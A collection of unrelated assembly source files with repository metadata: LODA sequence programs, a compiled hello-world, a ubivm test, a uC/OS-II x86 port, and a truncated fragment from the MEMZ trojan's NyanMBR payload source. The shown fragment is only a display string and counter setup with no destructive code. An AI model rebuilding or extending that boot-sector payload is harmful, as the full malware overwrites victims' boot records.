lpe
mov $0,$1
div $0,12
add $0,1
| 23.473684 | 208 | 0.598655 |
ee6ca27ef7401eafc05cd76dd0b9e1eca8219f82 | 6,146 | asm | Assembly | helloworld.asm | TravorLZH/various-code | a80018a4034b7e4e9b986157554bf7eec9aadfe4 | [
"Unlicense"
] | null | null | null | helloworld.asm | TravorLZH/various-code | a80018a4034b7e4e9b986157554bf7eec9aadfe4 | [
"Unlicense"
] | null | null | null | helloworld.asm | TravorLZH/various-code | a80018a4034b7e4e9b986157554bf7eec9aadfe4 | [
"Unlicense"
] | null | null | null | .text
.intel_syntax noprefix
.def getc;
.scl 2;
.type 32;
.endef
.section .text,"xr",discard,getc
.globl getc # -- Begin function getc
.p2align 4, 0x90
getc: # @getc
.Lcfi0:
.seh_proc getc
# BB#0:
sub rsp, 56
.Lcfi1:
.seh_stackalloc 56
.Lcfi2:
.seh_endprologue
mov qword ptr [rsp + 48], rcx
mov rcx, qword ptr [rsp + 48]
mov eax, dword ptr [rcx + 8]
add eax, -1
mov dword ptr [rcx + 8], eax
cmp eax, 0
jl .LBB0_2
# BB#1:
mov rax, qword ptr [rsp + 48]
mov rcx, qword ptr [rax]
mov rdx, rcx
add rdx, 1
mov qword ptr [rax], rdx
movzx r8d, byte ptr [rcx]
mov dword ptr [rsp + 44], r8d # 4-byte Spill
jmp .LBB0_3
.LBB0_2:
mov rcx, qword ptr [rsp + 48]
mov rax, qword ptr [rip + __imp__filbuf]
call rax
mov dword ptr [rsp + 44], eax # 4-byte Spill
.LBB0_3:
mov eax, dword ptr [rsp + 44] # 4-byte Reload
add rsp, 56
ret
.seh_handlerdata
.section .text,"xr",discard,getc
.Lcfi3:
.seh_endproc
# -- End function
.def putc;
.scl 2;
.type 32;
.endef
.section .text,"xr",discard,putc
.globl putc # -- Begin function putc
.p2align 4, 0x90
putc: # @putc
.Lcfi4:
.seh_proc putc
# BB#0:
sub rsp, 56
.Lcfi5:
.seh_stackalloc 56
.Lcfi6:
.seh_endprologue
mov qword ptr [rsp + 48], rdx
mov dword ptr [rsp + 44], ecx
mov rdx, qword ptr [rsp + 48]
mov ecx, dword ptr [rdx + 8]
add ecx, -1
mov dword ptr [rdx + 8], ecx
cmp ecx, 0
jl .LBB1_2
# BB#1:
mov eax, dword ptr [rsp + 44]
mov cl, al
mov rdx, qword ptr [rsp + 48]
mov r8, qword ptr [rdx]
mov r9, r8
add r9, 1
mov qword ptr [rdx], r9
mov byte ptr [r8], cl
movzx eax, cl
mov dword ptr [rsp + 40], eax # 4-byte Spill
jmp .LBB1_3
.LBB1_2:
mov rdx, qword ptr [rsp + 48]
mov ecx, dword ptr [rsp + 44]
mov rax, qword ptr [rip + __imp__flsbuf]
call rax
mov dword ptr [rsp + 40], eax # 4-byte Spill
.LBB1_3:
mov eax, dword ptr [rsp + 40] # 4-byte Reload
add rsp, 56
ret
.seh_handlerdata
.section .text,"xr",discard,putc
.Lcfi7:
.seh_endproc
# -- End function
.def getchar;
.scl 2;
.type 32;
.endef
.section .text,"xr",discard,getchar
.globl getchar # -- Begin function getchar
.p2align 4, 0x90
getchar: # @getchar
.Lcfi8:
.seh_proc getchar
# BB#0:
sub rsp, 56
.Lcfi9:
.seh_stackalloc 56
.Lcfi10:
.seh_endprologue
mov rax, qword ptr [rip + __imp__iob]
mov ecx, dword ptr [rax + 8]
add ecx, -1
mov dword ptr [rax + 8], ecx
cmp ecx, 0
jl .LBB2_2
# BB#1:
mov rax, qword ptr [rip + __imp__iob]
mov rcx, qword ptr [rax]
mov rdx, rcx
add rdx, 1
mov qword ptr [rax], rdx
movzx r8d, byte ptr [rcx]
mov dword ptr [rsp + 52], r8d # 4-byte Spill
jmp .LBB2_3
.LBB2_2:
mov rax, qword ptr [rip + __imp__iob]
mov rcx, qword ptr [rip + __imp__iob]
mov rdx, qword ptr [rip + __imp__filbuf]
mov qword ptr [rsp + 40], rax # 8-byte Spill
call rdx
mov dword ptr [rsp + 52], eax # 4-byte Spill
.LBB2_3:
mov eax, dword ptr [rsp + 52] # 4-byte Reload
add rsp, 56
ret
.seh_handlerdata
.section .text,"xr",discard,getchar
.Lcfi11:
.seh_endproc
# -- End function
.def putchar;
.scl 2;
.type 32;
.endef
.section .text,"xr",discard,putchar
.globl putchar # -- Begin function putchar
.p2align 4, 0x90
putchar: # @putchar
.Lcfi12:
.seh_proc putchar
# BB#0:
sub rsp, 56
.Lcfi13:
.seh_stackalloc 56
.Lcfi14:
.seh_endprologue
mov rax, qword ptr [rip + __imp__iob]
mov dword ptr [rsp + 52], ecx
mov ecx, dword ptr [rax + 56]
add ecx, -1
mov dword ptr [rax + 56], ecx
cmp ecx, 0
jl .LBB3_2
# BB#1:
mov rax, qword ptr [rip + __imp__iob]
mov ecx, dword ptr [rsp + 52]
mov dl, cl
mov r8, qword ptr [rax + 48]
mov r9, r8
add r9, 1
mov qword ptr [rax + 48], r9
mov byte ptr [r8], dl
movzx ecx, dl
mov dword ptr [rsp + 48], ecx # 4-byte Spill
jmp .LBB3_3
.LBB3_2:
mov rax, qword ptr [rip + __imp__iob]
add rax, 48
mov ecx, dword ptr [rsp + 52]
mov rdx, qword ptr [rip + __imp__iob]
add rdx, 48
mov r8, qword ptr [rip + __imp__flsbuf]
mov qword ptr [rsp + 40], rax # 8-byte Spill
call r8
mov dword ptr [rsp + 48], eax # 4-byte Spill
.LBB3_3:
mov eax, dword ptr [rsp + 48] # 4-byte Reload
add rsp, 56
ret
.seh_handlerdata
.section .text,"xr",discard,putchar
.Lcfi15:
.seh_endproc
# -- End function
.def vsnwprintf;
.scl 2;
.type 32;
.endef
.section .text,"xr",discard,vsnwprintf
.globl vsnwprintf # -- Begin function vsnwprintf
.p2align 4, 0x90
vsnwprintf: # @vsnwprintf
.Lcfi16:
.seh_proc vsnwprintf
# BB#0:
sub rsp, 72
.Lcfi17:
.seh_stackalloc 72
.Lcfi18:
.seh_endprologue
mov qword ptr [rsp + 64], r9
mov qword ptr [rsp + 56], r8
mov qword ptr [rsp + 48], rdx
mov qword ptr [rsp + 40], rcx
mov r9, qword ptr [rsp + 64]
mov r8, qword ptr [rsp + 56]
mov rdx, qword ptr [rsp + 48]
mov rcx, qword ptr [rsp + 40]
mov rax, qword ptr [rip + __imp__vsnwprintf]
call rax
nop
add rsp, 72
ret
.seh_handlerdata
.section .text,"xr",discard,vsnwprintf
.Lcfi19:
.seh_endproc
# -- End function
.def main;
.scl 2;
.type 32;
.endef
.text
.globl main # -- Begin function main
.p2align 4, 0x90
main: # @main
.Lcfi20:
.seh_proc main
# BB#0:
sub rsp, 40
.Lcfi21:
.seh_stackalloc 40
.Lcfi22:
.seh_endprologue
mov dword ptr [rsp + 36], 0
lea rcx, [rip + "??_C@_0O@CMJEMIJA@Hello?5world?$CB?6?$AA@"]
mov rax, qword ptr [rip + __imp_printf]
call rax
xor edx, edx
mov dword ptr [rsp + 32], eax # 4-byte Spill
mov eax, edx
add rsp, 40
ret
.seh_handlerdata
.text
.Lcfi23:
.seh_endproc
# -- End function
.section .rdata,"dr",discard,"??_C@_0O@CMJEMIJA@Hello?5world?$CB?6?$AA@"
.globl "??_C@_0O@CMJEMIJA@Hello?5world?$CB?6?$AA@" # @"\01??_C@_0O@CMJEMIJA@Hello?5world?$CB?6?$AA@"
"??_C@_0O@CMJEMIJA@Hello?5world?$CB?6?$AA@":
.asciz "Hello world!\n"
| 22.678967 | 101 | 0.600065 |
7744f97f874d79f878c185d583f4c988a0b5bbf3 | 504 | asm | Assembly | oeis/078/A078067.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/078/A078067.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/078/A078067.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A078067: Expansion of (1-x)/(1+2*x+2*x^2-2*x^3).
; Submitted by Jamie Morken(s2)
; 1,-3,4,0,-14,36,-44,-12,184,-432,472,288,-2384,5136,-4928,-5184,30496,-60480,49600,82752,-385664,705024,-473216,-1234944,4826368,-8129280,4135936,17639424,-59809280,92611584,-30325760,-244190208,734255104,-1040781312,124672000,3300728832
mov $1,1
mov $3,1
lpb $0
sub $0,1
mul $3,2
add $1,$3
sub $3,$1
add $1,$3
add $1,$2
sub $2,$1
add $3,$2
lpe
add $0,1
mov $1,3
sub $3,$0
add $1,$3
sub $1,2
mov $0,$1
| 21.913043 | 239 | 0.644841 |
2e4597d8168813aa3201fbeae5650d4f2d3fca88 | 1,987 | asm | Assembly | testsuite/ubivm/output/property_2.asm | alexgarzao/UOP | 12460841ff2b9991d2f7f461635b1f551413823f | [
"MIT"
] | null | null | null | testsuite/ubivm/output/property_2.asm | alexgarzao/UOP | 12460841ff2b9991d2f7f461635b1f551413823f | [
"MIT"
] | null | null | null | testsuite/ubivm/output/property_2.asm | alexgarzao/UOP | 12460841ff2b9991d2f7f461635b1f551413823f | [
"MIT"
] | null | null | null | .constant_pool
.const 0 string [start]
.const 1 string [p1]
.const 2 string [set_p1]
.const 3 string [value]
.const 4 string [constructor]
.const 5 int [10]
.const 6 string [Prop deve ser 10: ]
.const 7 int [2]
.const 8 string [io.writeln]
.const 9 int [20]
.const 10 string [Prop deve ser 20: ]
.const 11 int [30]
.const 12 string [Prop deve ser 30: ]
.const 13 int [40]
.const 14 string [Prop deve ser 40: ]
.const 15 int [50]
.const 16 string [Prop deve ser 50: ]
.end
.entity start
.valid_context_when (always)
.prop 0 public int p1
.method set_p1
.param 0 int value
ldparam 0 --> [value]
stprop 0 --> [p1]
ret
.end
.method constructor
ldconst 5 --> [10]
stprop 0 --> [p1]
ldconst 6 --> [Prop deve ser 10: ]
ldprop 0 --> [p1]
ldconst 7 --> [2]
lcall 8 --> [io.writeln]
ldconst 9 --> [20]
stprop 0 --> [p1]
ldconst 10 --> [Prop deve ser 20: ]
ldprop 0 --> [p1]
ldconst 7 --> [2]
lcall 8 --> [io.writeln]
ldconst 11 --> [30]
ldself
mcall 2 --> [set_p1]
ldconst 12 --> [Prop deve ser 30: ]
ldprop 0 --> [p1]
ldconst 7 --> [2]
lcall 8 --> [io.writeln]
ldconst 13 --> [40]
ldself
mcall 2 --> [set_p1]
ldconst 14 --> [Prop deve ser 40: ]
ldprop 0 --> [p1]
ldconst 7 --> [2]
lcall 8 --> [io.writeln]
ldconst 15 --> [50]
stprop 0 --> [p1]
ldconst 16 --> [Prop deve ser 50: ]
ldprop 0 --> [p1]
ldconst 7 --> [2]
lcall 8 --> [io.writeln]
exit
.end
.end
| 30.569231 | 49 | 0.425264 |
4c6d2458175b2ab37038fac2dd0bb695f8c802a2 | 400 | asm | Assembly | programs/oeis/168/A168236.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/168/A168236.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/168/A168236.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A168236: a(n) = (6*n - 3*(-1)^n - 1)/4.
; 2,2,5,5,8,8,11,11,14,14,17,17,20,20,23,23,26,26,29,29,32,32,35,35,38,38,41,41,44,44,47,47,50,50,53,53,56,56,59,59,62,62,65,65,68,68,71,71,74,74,77,77,80,80,83,83,86,86,89,89,92,92,95,95,98,98,101,101,104,104,107,107,110,110,113,113,116,116,119,119,122,122,125,125,128,128,131,131,134,134,137,137,140,140,143,143,146,146,149,149
div $0,2
mul $0,3
add $0,2
| 57.142857 | 329 | 0.6475 |
4a17909a2306a39fa287aa645707e7b7e35afe4a | 559 | asm | Assembly | oeis/017/A017292.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/017/A017292.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/017/A017292.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A017292: a(n) = (10*n + 1)^12.
; 1,3138428376721,7355827511386641,787662783788549761,22563490300366186081,309629344375621415601,2654348974297586158321,16409682740640811134241,79766443076872509863361,322475487413604782665681,1126825030131969720661201,3498450596935634189769921,9849732675807611094711841,25542038069936263923006961,61748917974902741368975281,140515219945627518837736801,303326610665644763629211521,625105506678337880602119441,1236354171303115835117980561,2357221572577185690065114881,4348632317396990233762642401
mul $0,10
add $0,1
pow $0,12
| 79.857143 | 495 | 0.903399 |
c157459889697fe38eff27f329b3359d64010c73 | 189 | asm | Assembly | src/buildutil/test/boot.asm | PatrickDropbox/abc | 2d27e5a7cb200de7645e4325d8d1f49335c1adba | [
"BSD-3-Clause"
] | null | null | null | src/buildutil/test/boot.asm | PatrickDropbox/abc | 2d27e5a7cb200de7645e4325d8d1f49335c1adba | [
"BSD-3-Clause"
] | null | null | null | src/buildutil/test/boot.asm | PatrickDropbox/abc | 2d27e5a7cb200de7645e4325d8d1f49335c1adba | [
"BSD-3-Clause"
] | null | null | null | ; Basic boot sector
[org 0x7c00]
mov bx, msg
call print_string
sleep:
hlt
jmp sleep
%include "src/buildutil/test/print_string.asm"
msg:
db "OK",0
times 510-($-$$) db 0
dw 0xaa55
| 10.5 | 46 | 0.68254 |
6f69dc2dad59aa8f5d43ccb52660ab2098f6d308 | 401 | asm | Assembly | oeis/020/A020927.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/020/A020927.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/020/A020927.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A020927: Expansion of (1-4*x)^(15/2).
; Submitted by Jamie Morken(s4)
; 1,-30,390,-2860,12870,-36036,60060,-51480,12870,2860,1716,1560,1820,2520,3960,6864,12870,25740,54340,120120,276276,657800,1614600,4071600,10518300,27768312,74760840,204900080,570793080,1613966640,4626704368,13432367520
mov $1,1
mov $3,$0
mov $0,34
lpb $3
sub $0,4
mul $1,$0
sub $2,1
div $1,$2
sub $3,1
lpe
mov $0,$1
| 25.0625 | 220 | 0.708229 |
955a688581495454238af56f5b07bb3cea04076b | 215 | asm | Assembly | solutions/31 - Checkerboard Organization/size-7_speed-90.asm | michaelgundlach/7billionhumans | 02c6f3963364362c95cb516cbc6ef1efc073bb2e | [
"MIT"
] | 45 | 2018-09-05T04:56:59.000Z | 2021-11-22T08:57:26.000Z | solutions/31 - Checkerboard Organization/size-7_speed-90.asm | michaelgundlach/7billionhumans | 02c6f3963364362c95cb516cbc6ef1efc073bb2e | [
"MIT"
] | 36 | 2018-09-01T11:34:26.000Z | 2021-05-19T23:20:49.000Z | solutions/31 - Checkerboard Organization/size-7_speed-90.asm | michaelgundlach/7billionhumans | 02c6f3963364362c95cb516cbc6ef1efc073bb2e | [
"MIT"
] | 36 | 2018-09-01T07:44:19.000Z | 2021-09-10T19:07:35.000Z | -- 7 Billion Humans (2053) --
-- 31: Checkerboard Organization --
-- Author: soerface
-- Size: 7
-- Speed: 90
mem1 = nearest printer
a:
if c == nothing:
drop
takefrom mem1
step w,e
endif
step nw,sw,ne,se
jump a | 13.4375 | 35 | 0.665116 |
a43468b7e7946123b2145477680fe8a569cf3cf5 | 16,025 | asm | Assembly | firmware/bsl/lib-qpc/ports/ucos2/watcom/ucos2.86/os_cpu_a.asm | AmuletGroup/amulet-project | b37bc1a66ea084f6ef1e9e727043aa6416d781a6 | [
"BSD-Source-Code"
] | 20 | 2016-09-01T15:07:35.000Z | 2022-02-10T15:47:39.000Z | firmware/bsl/lib-qpc/ports/ucos2/watcom/ucos2.86/os_cpu_a.asm | AmuletGroup/amulet-project | b37bc1a66ea084f6ef1e9e727043aa6416d781a6 | [
"BSD-Source-Code"
] | null | null | null | firmware/bsl/lib-qpc/ports/ucos2/watcom/ucos2.86/os_cpu_a.asm | AmuletGroup/amulet-project | b37bc1a66ea084f6ef1e9e727043aa6416d781a6 | [
"BSD-Source-Code"
] | 4 | 2016-10-29T20:34:33.000Z | 2022-02-10T15:45:40.000Z | ;********************************************************************************************************
; uC/OS-II
; The Real-Time Kernel
;
; (c) Copyright 1992-2002, Jean J. Labrosse, Weston, FL
; All Rights Reserved
;
;
; 80x86/80x88 Specific code
; LARGE MEMORY MODEL
;
; Borland Turbo Assembler 3.1
; (IBM/PC Compatible Target)
;
; File : OS_CPU_A.ASM
; By : Jean J. Labrosse
; Updated By : Miro Samek
;********************************************************************************************************
;********************************************************************************************************
; PUBLIC and EXTERNAL REFERENCES
;********************************************************************************************************
PUBLIC _OSTickISR
PUBLIC _OSStartHighRdy
PUBLIC _OSCtxSw
PUBLIC _OSIntCtxSw
PUBLIC _OSCPUDisable
PUBLIC _OSCPUEnable
PUBLIC _OSCPUSaveSR
PUBLIC _OSCPURestoreSR
EXTRN _OSIntExit:FAR
EXTRN _OSTimeTick:FAR
EXTRN _OSTaskSwHook:FAR
EXTRN _OSIntNesting:BYTE
EXTRN _OSTickDOSCtr:BYTE
EXTRN _OSPrioHighRdy:BYTE
EXTRN _OSPrioCur:BYTE
EXTRN _OSRunning:BYTE
EXTRN _OSTCBCur:DWORD
EXTRN _OSTCBHighRdy:DWORD
.MODEL LARGE
.CODE
.186
PAGE ; /*$PAGE*/
;*********************************************************************************************************
;
; void OSCPUDisable(void)
;
;*********************************************************************************************************
_OSCPUDisable PROC FAR
CLI ; clear the I flag
RET ; return to the caller
_OSCPUDisable ENDP
;*********************************************************************************************************
;
; void OSCPUDisable(void)
;
;*********************************************************************************************************
_OSCPUEnable PROC FAR
STI ; set the I flag
RET ; return to the caller
_OSCPUEnable ENDP
;*********************************************************************************************************
;
; int OSCPUSaveSR(void)
;
;*********************************************************************************************************
_OSCPUSaveSR PROC FAR
PUSHF ; push the flags
POP AX ; pop the flags into the return value AX
CLI ; clear the I flag
RET ; return to the caller
_OSCPUSaveSR ENDP
;*********************************************************************************************************
;
; void OSCPURestoreSR(int key)
;
;*********************************************************************************************************
_OSCPURestoreSR PROC FAR
PUSH BP
MOV BP,SP
MOV AX, WORD PTR[BP+6]
PUSH AX
POPF
POP BP
RET
_OSCPURestoreSR ENDP
;*********************************************************************************************************
; START MULTITASKING
; void OSStartHighRdy(void)
;
; The stack frame is assumed to look as follows:
;
; OSTCBHighRdy->OSTCBStkPtr --> DS (Low memory)
; ES
; DI
; SI
; BP
; SP
; BX
; DX
; CX
; AX
; OFFSET of task code address
; SEGMENT of task code address
; Flags to load in PSW
; OFFSET of task code address
; SEGMENT of task code address
; OFFSET of 'pdata'
; SEGMENT of 'pdata' (High memory)
;
; Note : OSStartHighRdy() MUST:
; a) Call OSTaskSwHook() then,
; b) Set OSRunning to TRUE,
; c) Switch to the highest priority task.
;*********************************************************************************************************
_OSStartHighRdy PROC FAR
MOV AX, SEG _OSTCBHighRdy ; Reload DS
MOV DS, AX ;
;
CALL FAR PTR _OSTaskSwHook ; Call user defined task switch hook
;
MOV AL, 1 ; OSRunning = TRUE;
MOV BYTE PTR DS:_OSRunning, AL ; (Indicates that multitasking has started)
;
LES BX, DWORD PTR DS:_OSTCBHighRdy ; SS:SP = OSTCBHighRdy->OSTCBStkPtr
MOV SS, ES:[BX+2] ;
MOV SP, ES:[BX+0] ;
;
POP DS ; Load task's context
POP ES ;
POPA ;
;
IRET ; Run task
_OSStartHighRdy ENDP
PAGE ; /*$PAGE*/
;*********************************************************************************************************
; PERFORM A CONTEXT SWITCH (From task level)
; void OSCtxSw(void)
;
; Note(s): 1) Upon entry,
; OSTCBCur points to the OS_TCB of the task to suspend
; OSTCBHighRdy points to the OS_TCB of the task to resume
;
; 2) The stack frame of the task to suspend looks as follows:
;
; SP -> OFFSET of task to suspend (Low memory)
; SEGMENT of task to suspend
; PSW of task to suspend (High memory)
;
; 3) The stack frame of the task to resume looks as follows:
;
; OSTCBHighRdy->OSTCBStkPtr --> DS (Low memory)
; ES
; DI
; SI
; BP
; SP
; BX
; DX
; CX
; AX
; OFFSET of task code address
; SEGMENT of task code address
; Flags to load in PSW (High memory)
;*********************************************************************************************************
_OSCtxSw PROC FAR
;
PUSHA ; Save current task's context
PUSH ES ;
PUSH DS ;
;
MOV AX, SEG _OSTCBCur ; Reload DS in case it was altered
MOV DS, AX ;
;
LES BX, DWORD PTR DS:_OSTCBCur ; OSTCBCur->OSTCBStkPtr = SS:SP
MOV ES:[BX+2], SS ;
MOV ES:[BX+0], SP ;
;
CALL FAR PTR _OSTaskSwHook ; Call user defined task switch hook
;
MOV AX, WORD PTR DS:_OSTCBHighRdy+2 ; OSTCBCur = OSTCBHighRdy
MOV DX, WORD PTR DS:_OSTCBHighRdy ;
MOV WORD PTR DS:_OSTCBCur+2, AX ;
MOV WORD PTR DS:_OSTCBCur, DX ;
;
MOV AL, BYTE PTR DS:_OSPrioHighRdy ; OSPrioCur = OSPrioHighRdy
MOV BYTE PTR DS:_OSPrioCur, AL ;
;
LES BX, DWORD PTR DS:_OSTCBHighRdy ; SS:SP = OSTCBHighRdy->OSTCBStkPtr
MOV SS, ES:[BX+2] ;
MOV SP, ES:[BX] ;
;
POP DS ; Load new task's context
POP ES ;
POPA ;
;
IRET ; Return to new task
;
_OSCtxSw ENDP
PAGE ; /*$PAGE*/
;*********************************************************************************************************
; PERFORM A CONTEXT SWITCH (From an ISR)
; void OSIntCtxSw(void)
;
; Note(s): 1) Upon entry,
; OSTCBCur points to the OS_TCB of the task to suspend
; OSTCBHighRdy points to the OS_TCB of the task to resume
;
; 2) The stack frame of the task to suspend looks as follows:
;
; OSTCBCur->OSTCBStkPtr ------> DS (Low memory)
; ES
; DI
; SI
; BP
; SP
; BX
; DX
; CX
; AX
; OFFSET of task code address
; SEGMENT of task code address
; Flags to load in PSW (High memory)
;
;
; 3) The stack frame of the task to resume looks as follows:
;
; OSTCBHighRdy->OSTCBStkPtr --> DS (Low memory)
; ES
; DI
; SI
; BP
; SP
; BX
; DX
; CX
; AX
; OFFSET of task code address
; SEGMENT of task code address
; Flags to load in PSW (High memory)
;*********************************************************************************************************
_OSIntCtxSw PROC FAR
;
CALL FAR PTR _OSTaskSwHook ; Call user defined task switch hook
;
MOV AX, SEG _OSTCBCur ; Reload DS in case it was altered
MOV DS, AX ;
;
MOV AX, WORD PTR DS:_OSTCBHighRdy+2 ; OSTCBCur = OSTCBHighRdy
MOV DX, WORD PTR DS:_OSTCBHighRdy ;
MOV WORD PTR DS:_OSTCBCur+2, AX ;
MOV WORD PTR DS:_OSTCBCur, DX ;
;
MOV AL, BYTE PTR DS:_OSPrioHighRdy ; OSPrioCur = OSPrioHighRdy
MOV BYTE PTR DS:_OSPrioCur, AL
;
LES BX, DWORD PTR DS:_OSTCBHighRdy ; SS:SP = OSTCBHighRdy->OSTCBStkPtr
MOV SS, ES:[BX+2] ;
MOV SP, ES:[BX] ;
;
POP DS ; Load new task's context
POP ES ;
POPA ;
;
IRET ; Return to new task
;
_OSIntCtxSw ENDP
PAGE ; /*$PAGE*/
;*********************************************************************************************************
; HANDLE TICK ISR
;
; Description: This function is called 199.99 times per second or, 11 times faster than the normal DOS
; tick rate of 18.20648 Hz. Thus every 11th time, the normal DOS tick handler is called.
; This is called chaining. 10 times out of 11, however, the interrupt controller on the PC
; must be cleared to allow for the next interrupt.
;
; Arguments : none
;
; Returns : none
;
; Note(s) : The following C-like pseudo-code describe the operation being performed in the code below.
;
; Save all registers on the current task's stack;
; OSIntNesting++;
; if (OSIntNesting == 1) {
; OSTCBCur->OSTCBStkPtr = SS:SP
; }
; OSTickDOSCtr--;
; if (OSTickDOSCtr == 0) {
; OSTickDOSCtr = 11;
; INT 81H; Chain into DOS every 54.925 mS
; (Interrupt will be cleared by DOS)
; } else {
; Send EOI to PIC; Clear tick interrupt by sending an End-Of-Interrupt to the 8259
; PIC (Priority Interrupt Controller)
; }
; OSTimeTick(); Notify uC/OS-II that a tick has occured
; OSIntExit(); Notify uC/OS-II about end of ISR
; Restore all registers that were save on the current task's stack;
; Return from Interrupt;
;*********************************************************************************************************
;
_OSTickISR PROC FAR
;
PUSHA ; Save interrupted task's context
PUSH ES
PUSH DS
;
MOV AX, SEG(_OSIntNesting) ; Reload DS
MOV DS, AX
INC BYTE PTR DS:_OSIntNesting ; Notify uC/OS-II of ISR
;
CMP BYTE PTR DS:_OSIntNesting, 1 ; if (OSIntNesting == 1)
JNE SHORT _OSTickISR1
MOV AX, SEG(_OSTCBCur) ; Reload DS
MOV DS, AX
LES BX, DWORD PTR DS:_OSTCBCur ; OSTCBCur->OSTCBStkPtr = SS:SP
MOV ES:[BX+2], SS ;
MOV ES:[BX+0], SP ;
;
_OSTickISR1:
MOV AX, SEG(_OSTickDOSCtr) ; Reload DS
MOV DS, AX
DEC BYTE PTR DS:_OSTickDOSCtr
CMP BYTE PTR DS:_OSTickDOSCtr, 0
JNE SHORT _OSTickISR2 ; Every 11 ticks (~199.99 Hz), chain into DOS
;
MOV BYTE PTR DS:_OSTickDOSCtr, 11
INT 081H ; Chain into DOS's tick ISR
JMP SHORT _OSTickISR3
_OSTickISR2:
MOV AL, 20H ; Move EOI code into AL.
MOV DX, 20H ; Address of 8259 PIC in DX.
OUT DX, AL ; Send EOI to PIC if not processing DOS timer.
;
_OSTickISR3:
CALL FAR PTR _OSTimeTick ; Process system tick
;
CALL FAR PTR _OSIntExit ; Notify uC/OS-II of end of ISR
;
POP DS ; Restore interrupted task's context
POP ES
POPA
;
IRET ; Return to interrupted task
;
_OSTickISR ENDP
;
;
END
| 42.733333 | 106 | 0.332231 |
b32d8244bd5bef2db6470a09c5b55fe440d5f1b6 | 369 | asm | Assembly | libsrc/interrupts/common/asm_interrupt_handler.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/interrupts/common/asm_interrupt_handler.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/interrupts/common/asm_interrupt_handler.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_clib
PUBLIC asm_interrupt_handler
EXTERN l_jphl
; Calls the registered handlers in order
; Entry: hl = table to call
;
asm_interrupt_handler:
push bc
push de
; af, hl already preserved
loop:
ld a,(hl)
inc hl
or (hl)
jr z,done
push hl
ld a,(hl)
dec hl
ld l,(hl)
ld h,a
call l_jphl
pop hl
inc hl
jr loop
done:
pop de
pop bc
ret
| 10.852941 | 40 | 0.682927 |
24076a5a9d2e55245c8011a876d73d7dbaaf6151 | 139 | asm | Assembly | 19-Content-Creators-Bug-Fix.speed.size.asm | blueset/7bh-solutions | 988afddf87411bec06ec9e90179b55fb55345a5d | [
"MIT"
] | null | null | null | 19-Content-Creators-Bug-Fix.speed.size.asm | blueset/7bh-solutions | 988afddf87411bec06ec9e90179b55fb55345a5d | [
"MIT"
] | null | null | null | 19-Content-Creators-Bug-Fix.speed.size.asm | blueset/7bh-solutions | 988afddf87411bec06ec9e90179b55fb55345a5d | [
"MIT"
] | null | null | null | -- 7 Billion Humans --
-- 19: Content Creators Bug Fix --
-- Size: 4/4 --
-- Speed: 27/28 --
takefrom s
a:
giveto se
takefrom sw
jump a
| 10.692308 | 34 | 0.611511 |
79278be51700325005005a6e3577154a293dd10c | 609 | asm | Assembly | MEMZ/NyanMBR/Source/Stage2/Animation/countNyan.asm | johnmelodyme/viruses | c8c4b628a6ae725a45312b4365fa8a6876509706 | [
"BSD-2-Clause"
] | 4 | 2018-11-15T08:23:06.000Z | 2019-04-29T13:30:44.000Z | MEMZ/NyanMBR/Source/Stage2/Animation/countNyan.asm | johnmelodyme/Viruses | c8c4b628a6ae725a45312b4365fa8a6876509706 | [
"BSD-2-Clause"
] | null | null | null | MEMZ/NyanMBR/Source/Stage2/Animation/countNyan.asm | johnmelodyme/Viruses | c8c4b628a6ae725a45312b4365fa8a6876509706 | [
"BSD-2-Clause"
] | 2 | 2019-02-13T19:53:26.000Z | 2021-05-30T19:04:43.000Z | nyanTimeString: db "You've Nyaned for 00000.0 seconds!"
nyanTimeStringLen: equ $-nyanTimeString
nyanTimeVideoStart: equ 3840
nyanTimeBin dw 0
countNyan:
; Set the extra segment to video memory
push es
